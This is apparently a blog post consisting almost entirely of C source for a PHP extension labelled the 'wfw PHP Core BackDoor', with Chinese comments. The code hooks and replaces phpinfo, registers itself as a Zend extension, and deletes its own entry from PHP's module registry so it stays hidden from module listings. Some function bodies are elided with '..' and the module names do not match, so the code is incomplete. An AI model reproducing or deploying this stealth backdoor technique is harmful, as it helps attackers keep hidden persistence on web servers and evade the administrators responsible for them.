鬼仔's Blog

void hook_fuctions(void)
{
TSRMLS_FETCH();

/* 替换函数 */
zend_hash_del(CG(function_table), "phpinfo", sizeof("phpinfo")); //从completer global里删除phpinfo函数
//注册新函数
#ifndef ZEND_ENGINE_2
zend_register_functions(hooked_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#else
zend_register_functions(NULL, hooked_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#endif
}

//新函数
PHP_FUNCTION(hooked_phpinfo)
{
..
}
/* {{{ PHP_MINIT_FUNCTION
*/
PHP_MINIT_FUNCTION(wfwcbd)
{
hook_fuctions();

startup_func_t startup; //相当于MINIT
shutdown_func_t shutdown; //相当于MSHUTDOWN
activate_func_t activate; //相当于RINIT
deactivate_func_t deactivate; //相当于RSHUTDOWN

message_handler_func_t message_handler;

op_array_handler_func_t op_array_handler;

statement_handler_func_t statement_handler;
fcall_begin_handler_func_t fcall_begin_handler;
fcall_end_handler_func_t fcall_end_handler;

op_array_ctor_func_t op_array_ctor;
op_array_dtor_func_t op_array_dtor;

int (*api_no_check)(int api_no);
void *reserved2;
void *reserved3;
void *reserved4;
void *reserved5;
void *reserved6;
void *reserved7;
void *reserved8;

static zend_llist_position lp = NULL;
static void wfw_op_array_ctor(zend_op_array *op_array);
static void wfw_op_array_dtor(zend_op_array *op_array);
static int (*old_startup)(zend_extension *extension) = NULL;
static zend_extension *ze = NULL;
static int wfw_module_startup(zend_extension *extension);
static void wfw_module_active(void);
static void wfw_module_deactive(void);
static void wfw_shutdown(zend_extension *extension);
static int wfw_startup_wrapper(zend_extension *ext);

static zend_extension wfw_zend_extension_entry = {
"wfwcbd",
"0.1",
"wfw PHP Core BackDoor",
"http://www.phpweblog.net/GaRY",
"(C) Copyright 2007",

wfw_module_startup,
wfw_shutdown,
wfw_module_active,
wfw_module_deactive,
NULL,
NULL,
NULL,
NULL,
NULL,
wfw_op_array_ctor,
wfw_op_array_dtor,

STANDARD_ZEND_EXTENSION_PROPERTIES
};

/* {{{ wfw_functions[]
*
* Every user visible function must have an entry in wfw_functions[].
*/
zend_function_entry wfw_functions[] = {
PHP_FE(your_ext_function, NULL)
..
..
{NULL, NULL, NULL} /* Must be the last line in wfw_functions[] */
};
/* }}} */

zend_module_entry phper_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"phper",
NULL,
PHP_MINIT(phper),
NULL, // PHP_MSHUTDOWN(phper), //同时我们这里也就不需要以下函数了.全部替换为NULL,用zend extension里的同功能函数代替
NULL, // PHP_RINIT(phper),
NULL, // PHP_RSHUTDOWN(phper),
NULL, // PHP_MINFO(phper),
#if ZEND_MODULE_API_NO >= 20010901
"0.1", /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};

static void wfw_op_array_ctor(zend_op_array *op_array)
{
}

static void wfw_op_array_dtor(zend_op_array *op_array)
{
if (wfw_zend_extension_entry.resource_number != -1) {
op_array->reserved[wfw_zend_extension_entry.resource_number] = NULL;
}
}

static int wfw_startup_wrapper(zend_extension *ext)
{
int res;
php_printf("php startup_wrapper\r\n");
ze->startup = old_startup;
res = old_startup(ext);
wfw_module_startup(NULL);

return res;
}

static int wfw_module_startup(zend_extension *extension)
{
zend_module_entry *module_entry_ptr;
int resid;
TSRMLS_FETCH();

php_printf("php_startup\r\n");
#ifndef ZEND_ENGINE_2
zend_register_functions(wfw_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#else
zend_register_functions(NULL, wfw_functions, NULL, MODULE_PERSISTENT TSRMLS_CC);
#endif
if (zend_hash_find(&module_registry, "wfwcbd", sizeof("wfwcbd"), (void **)&module_entry_ptr)==SUCCESS) {

if (extension) {
extension->handle = module_entry_ptr->handle;
} else {
zend_extension ext;
ext = wfw_zend_extension_entry;
ext.handle = module_entry_ptr->handle;
zend_llist_add_element(&zend_extensions, &ext);
extension = zend_llist_get_last(&zend_extensions);
}
module_entry_ptr->handle = NULL;
//
//删除module_registry中的信息
//
if(SUCCESS != zend_hash_del(&module_registry, "wfwcbd", sizeof("wfwcbd"))) return FAILURE;

} else {
return FAILURE;
}

resid = zend_get_resource_handle(extension);
wfw_zend_extension_entry.resource_number = resid;

return SUCCESS;
}